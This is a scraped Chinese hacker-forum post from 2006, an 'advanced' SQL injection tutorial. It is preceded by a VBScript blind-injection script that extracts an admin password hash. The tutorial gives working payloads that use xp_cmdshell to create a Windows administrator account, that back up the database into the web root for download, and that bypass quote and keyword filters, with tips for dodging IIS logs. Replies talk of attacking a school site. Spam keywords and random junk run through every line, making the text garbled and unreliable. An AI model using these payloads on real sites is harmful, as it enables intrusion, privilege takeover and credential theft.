u+w.WGQM黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香Set regEx = New RegExp ' 建立正则表达式。
2V V[Jp/K%Zi4b黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香regEx.Pattern = patrn ' 设置模式。
a-IT(o;y-i●★黑基论坛★●  - 全球最大中文黑客社区regEx.IgnoreCase = False ' 设置是否区分大小写。
H Ev#I!erspace.hackbase.comRegExpTest = regEx.Test(strng) ' 执行搜索测试。
/Ge:\A2tQ9Srspace.hackbase.comEnd Function
s4}M1r-Rx$@(y1G
V
★黑基空间★8E B9mZ^,g7i4Vf

ga2NZAspace.hackbase.com"aR*M Ga?
password="" 黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香VCI_
r+N4s^!^

keyword="论坛首页"'返回正确页面会出现的字符串 黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香-`4K/@
ru7~m{T#x

url1="http://qq/bbs/list.ASP?boardid=7"'SQL注入入口 黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香4a;T6g|r$r#Q
passlen=32'MD5密码通常是32位 ●★黑基论坛★●  - 全球最大中文黑客社区H_?_wU.Dba
dim pass space.hackbase.com!Q&Y4li4~;@        T
pass=array(48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102)'密码值通常是0-9,a-f ★黑基空间★+P8z1~`cV
★黑基空间★G(E{!m(aR
●★黑基论坛★●  - 全球最大中文黑客社区#KF
mr#v/M

★黑基空间★}*l9tC8o#fe[ Q+\
server.ScriptTimeout=999
6^J#I!vv"Rfor i=1 to passlen
f.Hz-Hu-l.s/@`
mspace.hackbase.com
flag=false space.hackbase.comEd*}`L8])w0X%T
url=url1&" and (select asc(mid(password,"&i&",1)) from admin where id>0)="'构造的SQL语句这里才是关键
xJ,\ryS+T%a;Pspace.hackbase.comfor j=0 to ubound(pass)
VqQ D
Ze*}★黑基空间★
str=getHTTPPage(url&pass(j)) Jzq[hl7J0x]:BQ-@3x
flag=RegExpTest(keyword,str) space.hackbase.comI+X0{+?J+r,H
if flag=true then
rO'd F8Hfspace.hackbase.compassword=password&chr(pass(j)) c?kv~@Ow2k
exit for
`j} eV*]end if |;s:fU
f

next
/tkq*tF★黑基空间★next
3ub n4H.a
p)@ t黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香

O0\N)K"l&_7{黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香
^+lw d-H;l-}●★黑基论坛★●  - 全球最大中文黑客社区
&t$R;z%At●★黑基论坛★●  - 全球最大中文黑客社区response.Write(password)
西北望 mpf_hgsf 发布于2006-12-08 15:36:33
SQL注入漏洞全接触(高级篇 )
完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。
5IIn)b(_"P7d&SbC \★黑基空间★
+Y*[zM1P^3iW★黑基空间★第一节、利用系统表注入SQLServer数据库★黑基空间★?p/v&~*y8S
space.hackbase.comsT@b*ha.A)}3l
  SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:
n1^Ew{j"\&{gr★黑基空间★  ① http://Site/url.ASP?id=1;exec master..xp_cmdshell “net user name password /add”--黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香%?:PC8B%J_
  分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:
y0NhiUspace.hackbase.com  ② http://Site/url.ASP?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--
        u6W!D"[7I  将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。space.hackbase.com?!@i/p-y5`&C:t1y
  ③ http://Site/url.ASP?id=1 ;;and db_name()>0
C^
|x@%r
jO
sjspace.hackbase.com
  前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。
/h#wR        xg
Fy-lu★黑基空间★
  ④ http://Site/url.ASP?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--

vo
WnqbrKn黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香
  这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香z!e'Tn9f;h(x'M
  ⑤ http://Site/url.ASP?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0uOLg
JbP)J        m"r5c?

  前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。●★黑基论坛★●  - 全球最大中文黑客社区U}O3La?
I

  ⑥ http://Site/url.ASP?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
5lA5F.~d[T9Pspace.hackbase.com  从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
Y/gHN        iI
K
  以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧。aM|w5JAH&A?;E

%Z~6J(M        LG%~m●★黑基论坛★●  - 全球最大中文黑客社区第二节、绕过程序限制继续注入
H ])R7tY  在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香9Z yP#O!RH l+~3TF
  在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句:space.hackbase.comK'\
V!ez;t%~}

  简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。
0e9@%s&`8N%g$o-~T●★黑基论坛★●  - 全球最大中文黑客社区
-f+RI+PX*O
Z黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香
第三节、经验小结●★黑基论坛★●  - 全球最大中文黑客社区}Zl |\F
  1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。8[5_d'T1KR        V$i
  2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。6l8J        _9~1R9G;Ce8m
  3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode的相关介绍。
H-K*VR"{Krh黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香  4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。space.hackbase.comCX:Q*tZp9HL f
  5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。
+f_/rV)Z}8h,jUC
JH$zZ2Tk/o3D,}E★黑基空间★防 范 方 法q%RIz#?K:r4F4C[
{U1B_

  SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,通常是由于程序员对注入不了解,或者程序过滤不严格,或者某个参数忘记检查导致。在这里,我给大家一个函数,代替ASP中的Request函数,可以对一切的SQL注入Say NO,函数如下:
1R{
|#|LH:Gk's(A}●★黑基论坛★●  - 全球最大中文黑客社区
Function SafeRequest(ParaName,ParaType)Y!{K|*[ct5I
'--- 传入参数 ---黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香$z(ThYP'^        `)](Gfj
'ParaName:参数名称-字符型
^*f1X        X%a★黑基空间★'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)●★黑基论坛★●  - 全球最大中文黑客社区+l-d8l,@&O&OH:l5KD
5}2m|:MP)\]
Dim ParaValue
9Q&e7c5],`●★黑基论坛★●  - 全球最大中文黑客社区ParaValue=Request(ParaName)★黑基空间★'Z!S$G,L+hx~R@
If ParaType=1 then黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香
SJ!N8\ JHz+u9\1X

If not isNumeric(ParaValue) then黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香t:g~3CkT
Response.write "参数" & ParaName & "必须为数字型!"
h$D+p4NC&]6P&`-nspace.hackbase.comResponse.end
%S@Qz^@)j黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香End if
*A
\-B7Z}*D3q,c:L★黑基空间★
Else
'G2N$G2sdZ&\&W★黑基空间★ParaValue=replace(ParaValue,"'","''")黑基论坛,培训,动画,教程,攻击,入侵,挂站,破解,漏洞,扫描,共享,木马,病毒,跳板,监听,嗅探,炸弹,伪装,拒绝服务,防火墙,杀毒软件,入侵检测,身份认证,缓冲溢出,蠕虫,安全工具,攻击程序,加密,解密,外挂,私服,ddos,webshell,sql注入,灰鸽子,冰河,熊猫烧香2|9pS6D NV"v![H!?
End if●★黑基论坛★●  - 全球最大中文黑客社区#w{X/N F'jL
SafeRequest=ParaValuesi.^4yh?.`s
End function
e"d/KpM!I●★黑基论坛★●  - 全球最大中文黑客社区
&xO:HB%UoDe[t●★黑基论坛★●  - 全球最大中文黑客社区  文章到这里就结束了,不管你是安全人员、技术爱好者还是程序员,我都希望本文能对你有所帮助。如果有什么疑问或想与我讨论相关问题,欢迎到www.54NB.com向提出,谢谢大家!
yV,]^!Xj.S s●★黑基论坛★●  - 全球最大中文黑客社区(全文完)
钱大少的个人空间 钱大少 发布于2006-12-08 15:43:34
用惯了工具 回头再看看这个 感觉自己`````
№孤独じκōлɡJī@и 不明的 发布于2006-12-08 17:55:24
回复 #9 钱大少 的帖子
老是用工具没出息滴~
i.S u+M$~_SRxspace.hackbase.comq`0XB_        S
_M^}

我们学校的网站都是html的,想弄真难。。。

x)R/G[x)u0F/ftspace.hackbase.com
]E?8}z:InD
T_T
sbypm1985的个人空间 sbypm1985 发布于2006-12-15 11:09:26
呵呵,好东西呀,刚接触不久,得学习一下
cmd cmd2007 发布于2006-12-17 22:55:24
不错的东东袄,,定
我来说两句

(可选)

日历

« 2008-08-17  
     12
3456789
10111213141516
17181920212223
24252627282930
31      

数据统计

  • 访问量: 7531095
  • 日志数: 13
  • 图片数: 4
  • 建立时间: 2006-08-24
  • 更新时间: 2007-01-21

RSS订阅

Open Toolbar